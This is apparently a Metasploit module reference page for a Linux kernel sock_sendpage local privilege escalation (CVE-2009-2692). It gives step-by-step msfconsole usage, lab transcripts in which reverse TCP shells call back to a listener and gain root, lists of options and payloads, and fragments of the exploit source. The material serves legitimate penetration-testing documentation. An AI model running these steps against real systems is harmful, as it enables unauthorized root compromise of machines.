Linux Kernel Sendpage Local Privilege Escalation - Metasploit


This page contains detailed information about how to use the exploit/linux/local/sock_sendpage metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Linux Kernel Sendpage Local Privilege Escalation
Module: exploit/linux/local/sock_sendpage
Source code: modules/exploits/linux/local/sock_sendpage.rb
Disclosure date: 2009-08-13
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): x86
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2009-2692

The Linux kernel failed to properly initialize some entries in the proto_ops struct for several protocols, leading to NULL being dereferenced and used as a function pointer. By using mmap(2) to map page 0, an attacker can execute arbitrary code in the context of the kernel. Several public exploits exist for this vulnerability, including spender's wunderbar_emporium and rcvalle's ppc port, sock_sendpage.c. All Linux 2.4/2.6 versions since May 2001 are believed to be affected: 2.4.4 up to and including 2.4.37.4; 2.6.0 up to and including 2.6.30.4 This module has been tested successfully on CentOS 5.0 (i386) with kernel version 2.6.18-8.1.1.tl5; and Debian 3.1r8 Sarge (i686) with kernel version 2.4.27-3-386.

Module Ranking and Traits


Module Ranking:

  • great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-os-down: Module may crash the OS, and the OS remains down.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/linux/local/sock_sendpage
msf exploit(sock_sendpage) > show targets
    ... a list of targets ...
msf exploit(sock_sendpage) > set TARGET target-id
msf exploit(sock_sendpage) > show options
    ... show and set options ...
msf exploit(sock_sendpage) > set SESSION session-id
msf exploit(sock_sendpage) > exploit

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Description


The Linux kernel failed to properly initialize some entries in the proto_ops struct for several protocols, leading to NULL being dereferenced and used as a function pointer. By using mmap(2) to map page 0, an attacker can execute arbitrary code in the context of the kernel.

Vulnerable Application


Several public exploits exist for this vulnerability, including spender's wunderbar_emporium and rcvalle's ppc port, sock_sendpage.c.

All Linux 2.4/2.6 versions since May 2001 are believed to be affected:

  • 2.4.4 up to and including 2.4.37.4
  • 2.6.0 up to and including 2.6.30.4

This module has been tested successfully on:

  • CentOS 5.0 (i386) with kernel version 2.6.18-8.1.1.tl5
  • Debian 3.1r8 Sarge (i686) with kernel version 2.4.27-3-386

Verification Steps


  1. Start msfconsole
  2. Get a session
  3. use exploit/linux/local/sock_sendpage
  4. set SESSION [SESSION]
  5. check
  6. run
  7. You should get a new root session

Options


SESSION

Which session to use, which can be viewed with sessions

WritableDir

A writable directory file system path. (default: /tmp)

DEBUG_EXPLOIT

Enable exploit debug messages. (default: false)

Scenarios


### CentOS 5.0 (i386) with kernel version 2.6.18-8.1.1.tl5

  msf > use exploit/linux/local/sock_sendpage 
  msf exploit(linux/local/sock_sendpage) > set session 1
  session => 1
  msf exploit(linux/local/sock_sendpage) > set verbose true
  verbose => true
  msf exploit(linux/local/sock_sendpage) > set payload linux/x86/meterpreter/reverse_tcp
  payload => linux/x86/meterpreter/reverse_tcp
  msf exploit(linux/local/sock_sendpage) > run

  [!] SESSION may not be compatible with this module.
  [*] Started reverse TCP handler on 172.16.191.188:4444 
  [+] Kernel version 2.6.18 appears to be vulnerable
  [+] System architecture i686 is supported
  [+] vm.mmap_min_addr is not set
  [*] Writing '/tmp/.MCpzrCREnMXU' (3509 bytes) ...
  [*] Max line length is 65537
  [*] Writing 3509 bytes in 1 chunks of 10560 bytes (octal-encoded), using printf
  [*] Executing payload...
  [*] Transmitting intermediate stager...(106 bytes)
  [*] Sending stage (857352 bytes) to 172.16.191.159
  [*] Meterpreter session 34 opened (172.16.191.188:4444 -> 172.16.191.159:37663) at 2018-04-10 06:50:13 -0400

  meterpreter > getuid
  Server username: uid=0, gid=0, euid=0, egid=0
  meterpreter > sysinfo
  Computer     : 172.16.191.159
  OS           : CentOS 5 (Linux 2.6.18-8.1.1.tl5)
  Architecture : i686
  BuildTuple   : i486-linux-musl
  Meterpreter  : x86/linux

### Debian 3.1r8 Sarge (i686) with kernel version 2.4.27-3-386

  msf > use exploit/linux/local/sock_sendpage 
  msf exploit(linux/local/sock_sendpage) > set payload linux/x86/shell/reverse_tcp
  payload => linux/x86/shell/reverse_tcp
  msf exploit(linux/local/sock_sendpage) > set session 1
  session => 1
  msf exploit(linux/local/sock_sendpage) > run

  [!] SESSION may not be compatible with this module.
  [*] Started reverse TCP handler on 172.16.191.188:4444 
  [+] Kernel version 2.4.27 appears to be vulnerable
  [+] System architecture i686 is supported
  [+] vm.mmap_min_addr is not set
  [*] Writing '/tmp/.69p3FeagB' (3509 bytes) ...
  [*] Max line length is 65537
  [*] Writing 3509 bytes in 1 chunks of 10560 bytes (octal-encoded), using printf
  [*] Executing payload...
  [*] Sending stage (36 bytes) to 172.16.191.227
  [*] Command shell session 35 opened (172.16.191.188:4444 -> 172.16.191.227:32836) at 2018-04-10 06:59:08 -0400
  [!] Tried to delete /tmp/.69p3FeagB, unknown result

  3356110123
  lfvaliLFShnAfRQkCHUXFtuyGXKylJSN
  TJloQpOJsrsnQSfZpNAjWcbqNuHanLeI
  LeKIAUjwBMRhxjJjVvvrdvwErYZnxPYr
  id
  uid=0(root) gid=0(root) groups=100(users)
  uname -a
  Linux sarge 2.4.27-3-386 #1 Wed Dec 6 00:38:33 UTC 2006 i686 GNU/Linux

Go back to menu.

Msfconsole Usage


Here is how the linux/local/sock_sendpage exploit module looks in the msfconsole:

msf6 > use exploit/linux/local/sock_sendpage

[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/local/sock_sendpage) > show info

       Name: Linux Kernel Sendpage Local Privilege Escalation
     Module: exploit/linux/local/sock_sendpage
   Platform: Linux
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-08-13

Provided by:
  Tavis Ormandy
  Julien Tinnes <julien at cr0.org>
  spender
  rcvalle
  egypt <[email protected]>

Module stability:
 crash-os-down

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Linux x86

Check supported:
  Yes

Basic options:
  Name           Current Setting  Required  Description
  ----           ---------------  --------  -----------
  DEBUG_EXPLOIT  false            yes       Make the exploit executable be verbose about what it's doing
  SESSION                         yes       The session to run this module on.

Payload information:

Description:
  The Linux kernel failed to properly initialize some entries in the 
  proto_ops struct for several protocols, leading to NULL being 
  dereferenced and used as a function pointer. By using mmap(2) to map 
  page 0, an attacker can execute arbitrary code in the context of the 
  kernel. Several public exploits exist for this vulnerability, 
  including spender's wunderbar_emporium and rcvalle's ppc port, 
  sock_sendpage.c. All Linux 2.4/2.6 versions since May 2001 are 
  believed to be affected: 2.4.4 up to and including 2.4.37.4; 2.6.0 
  up to and including 2.6.30.4 This module has been tested 
  successfully on CentOS 5.0 (i386) with kernel version 
  2.6.18-8.1.1.tl5; and Debian 3.1r8 Sarge (i686) with kernel version 
  2.4.27-3-386.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2009-2692
  https://www.exploit-db.com/exploits/9545
  https://www.exploit-db.com/exploits/9641
  http://www.securityfocus.com/bid/36038
  https://www.securityfocus.com/archive/1/505751
  http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html

Module Options


This is a complete list of options available in the linux/local/sock_sendpage exploit:

msf6 exploit(linux/local/sock_sendpage) > show options

Module options (exploit/linux/local/sock_sendpage):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   DEBUG_EXPLOIT  false            yes       Make the exploit executable be verbose about what it's doing
   SESSION                         yes       The session to run this module on.

Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Linux x86

Advanced Options


Here is a complete list of advanced options supported by the linux/local/sock_sendpage exploit:

msf6 exploit(linux/local/sock_sendpage) > show advanced

Module advanced options (exploit/linux/local/sock_sendpage):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoCheck               true             no        Run check before exploit
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   ForceExploit            false            no        Override check result
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session
   WritableDir             /tmp             yes       A directory where we can write files (must not be mounted noexec)

Payload advanced options (linux/x86/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AppendExit                   false            no        Append a stub that executes the exit(0) system call
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugLevel        0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependChrootBreak           false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
   PrependFork                  false            no        Prepend a stub that starts the payload in its own process via fork
   PrependSetgid                false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid              false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid             false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid             false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid              false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid                false            no        Prepend a stub that executes the setuid(0) system call
   RemoteMeterpreterDebugFile                    no        Redirect Debug Info to a Log File
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/local/sock_sendpage module can exploit:

msf6 exploit(linux/local/sock_sendpage) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Linux x86

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/sock_sendpage exploit:

msf6 exploit(linux/local/sock_sendpage) > show payloads

Compatible Payloads
===================

   #   Name                                              Disclosure Date  Rank    Check  Description
   -   ----                                              ---------------  ----    -----  -----------
   0   payload/generic/custom                                             normal  No     Custom Payload
   1   payload/generic/debug_trap                                         normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_tcp                                     normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                                  normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/tight_loop                                         normal  No     Generic x86 Tight Loop
   5   payload/linux/x86/chmod                                            normal  No     Linux Chmod
   6   payload/linux/x86/exec                                             normal  No     Linux Execute Command
   7   payload/linux/x86/meterpreter/bind_ipv6_tcp                        normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
   8   payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   9   payload/linux/x86/meterpreter/bind_nonx_tcp                        normal  No     Linux Mettle x86, Bind TCP Stager
   10  payload/linux/x86/meterpreter/bind_tcp                             normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
   11  payload/linux/x86/meterpreter/bind_tcp_uuid                        normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
   12  payload/linux/x86/meterpreter/reverse_ipv6_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager (IPv6)
   13  payload/linux/x86/meterpreter/reverse_nonx_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager
   14  payload/linux/x86/meterpreter/reverse_tcp                          normal  No     Linux Mettle x86, Reverse TCP Stager
   15  payload/linux/x86/meterpreter/reverse_tcp_uuid                     normal  No     Linux Mettle x86, Reverse TCP Stager
   16  payload/linux/x86/meterpreter_reverse_http                         normal  No     Linux Meterpreter, Reverse HTTP Inline
   17  payload/linux/x86/meterpreter_reverse_https                        normal  No     Linux Meterpreter, Reverse HTTPS Inline
   18  payload/linux/x86/meterpreter_reverse_tcp                          normal  No     Linux Meterpreter, Reverse TCP Inline
   19  payload/linux/x86/metsvc_bind_tcp                                  normal  No     Linux Meterpreter Service, Bind TCP
   20  payload/linux/x86/metsvc_reverse_tcp                               normal  No     Linux Meterpreter Service, Reverse TCP Inline
   21  payload/linux/x86/read_file                                        normal  No     Linux Read File
   22  payload/linux/x86/shell/bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
   23  payload/linux/x86/shell/bind_ipv6_tcp_uuid                         normal  No     Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   24  payload/linux/x86/shell/bind_nonx_tcp                              normal  No     Linux Command Shell, Bind TCP Stager
   25  payload/linux/x86/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager (Linux x86)
   26  payload/linux/x86/shell/bind_tcp_uuid                              normal  No     Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
   27  payload/linux/x86/shell/reverse_ipv6_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager (IPv6)
   28  payload/linux/x86/shell/reverse_nonx_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager
   29  payload/linux/x86/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   30  payload/linux/x86/shell/reverse_tcp_uuid                           normal  No     Linux Command Shell, Reverse TCP Stager
   31  payload/linux/x86/shell_bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind TCP Inline (IPv6)
   32  payload/linux/x86/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   33  payload/linux/x86/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   34  payload/linux/x86/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   35  payload/linux/x86/shell_reverse_tcp_ipv6                           normal  No     Linux Command Shell, Reverse TCP Inline (IPv6)

Evasion Options


Here is the full list of possible evasion options supported by the linux/local/sock_sendpage exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/local/sock_sendpage) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Could not determine the kernel version


Here is a relevant code snippet related to the "Could not determine the kernel version" error message:

88:	
89:	  def check
90:	    version = Rex::Version.new kernel_release.split('-').first
91:	
92:	    if version.to_s.eql? ''
93:	      vprint_error 'Could not determine the kernel version'
94:	      return CheckCode::Unknown
95:	    end
96:	
97:	    if version.between?(Rex::Version.new('2.4.4'), Rex::Version.new('2.4.37.4')) ||
98:	       version.between?(Rex::Version.new('2.6.0'), Rex::Version.new('2.6.30.4'))

Kernel version <VERSION> is not vulnerable


Here is a relevant code snippet related to the "Kernel version <VERSION> is not vulnerable" error message:

96:	
97:	    if version.between?(Rex::Version.new('2.4.4'), Rex::Version.new('2.4.37.4')) ||
98:	       version.between?(Rex::Version.new('2.6.0'), Rex::Version.new('2.6.30.4'))
99:	      vprint_good "Kernel version #{version} appears to be vulnerable"
100:	    else
101:	      vprint_error "Kernel version #{version} is not vulnerable"
102:	      return CheckCode::Safe
103:	    end
104:	
105:	    arch = kernel_hardware
106:	    unless arch.include?('x86') || arch =~ /i\d86/

System architecture <ARCH> is not supported


Here is a relevant code snippet related to the "System architecture <ARCH> is not supported" error message:

102:	      return CheckCode::Safe
103:	    end
104:	
105:	    arch = kernel_hardware
106:	    unless arch.include?('x86') || arch =~ /i\d86/
107:	      vprint_error "System architecture #{arch} is not supported"
108:	      return CheckCode::Safe
109:	    end
110:	    if arch.include? 'x86_64'
111:	      vprint_error "System architecture #{arch} is not supported"
112:	      return CheckCode::Safe

System architecture <ARCH> is not supported


Here is a relevant code snippet related to the "System architecture <ARCH> is not supported" error message:

106:	    unless arch.include?('x86') || arch =~ /i\d86/
107:	      vprint_error "System architecture #{arch} is not supported"
108:	      return CheckCode::Safe
109:	    end
110:	    if arch.include? 'x86_64'
111:	      vprint_error "System architecture #{arch} is not supported"
112:	      return CheckCode::Safe
113:	    end
114:	    vprint_good "System architecture #{arch} is supported"
115:	
116:	    mmap_min_addr_path = '/proc/sys/vm/mmap_min_addr'

vm.mmap_min_addr (<MMAP_MIN_ADDR>) is not zero


Here is a relevant code snippet related to the "vm.mmap_min_addr (<MMAP_MIN_ADDR>) is not zero" error message:

124:	    when ''
125:	      vprint_good 'vm.mmap_min_addr is not set'
126:	    when '0'
127:	      vprint_good 'vm.mmap_min_addr is zero'
128:	    else
129:	      vprint_error "vm.mmap_min_addr (#{mmap_min_addr}) is not zero"
130:	      return CheckCode::Safe
131:	    end
132:	
133:	    CheckCode::Appears
134:	  end

Session already has root privileges. Set ForceExploit to override.


Here is a relevant code snippet related to the "Session already has root privileges. Set ForceExploit to override." error message:

134:	  end
135:	
136:	  def exploit
137:	    if is_root?
138:	      unless datastore['ForceExploit']
139:	        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
140:	      end
141:	    end
142:	
143:	    unless writable? base_dir
144:	      fail_with Failure::BadConfig, "#{base_dir} is not writable"

<BASE_DIR> is not writable


Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:

139:	        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
140:	      end
141:	    end
142:	
143:	    unless writable? base_dir
144:	      fail_with Failure::BadConfig, "#{base_dir} is not writable"
145:	    end
146:	
147:	    sc = Metasm::ELF.new @cpu
148:	    sc.parse %Q|
149:	      #ifdef __ELF__

Unable to obtain symbol listing!n


Here is a relevant code snippet related to the "Unable to obtain symbol listing!n" error message:

325:	
326:	  f = fopen("/proc/kallsyms", "r");
327:	  if (f == NULL) {
328:	    f = fopen("/proc/ksyms", "r");
329:	    if (f == NULL) {
330:	      dprintf("Unable to obtain symbol listing!\n");
331:	      return 0;
332:	    }
333:	  }
334:	
335:	  ret = 0;

socket


Here is a relevant code snippet related to the "socket" error message:

433:	    if (out_fd > 0) {
434:	      dprintf("Got domain[%d]\n", d);
435:	      break;
436:	    }
437:	    if (out_fd < 0) {
438:	      perror("socket");
439:	      exit(1);
440:	    }
441:	  }
442:	
443:	  unlink(template);

Metasm Encoding failed


Here is a relevant code snippet related to the "Metasm Encoding failed" error message:

499:	      else
500:	        foo = sc.encode_string
501:	        elf = Msf::Util::EXE.to_linux_x86_elf framework, foo
502:	      end
503:	    rescue
504:	      print_error "Metasm Encoding failed: #{$!}"
505:	      elog "Metasm Encoding failed: #{$!.class} : #{$!}"
506:	      elog "Call stack:\n#{$!.backtrace.join("\n")}"
507:	      return
508:	    end
509:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Tavis Ormandy
  • Julien Tinnes <julien at cr0.org>
  • spender
  • rcvalle
  • egypt

Version


This page has been produced using Metasploit Framework version 6.2.7-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.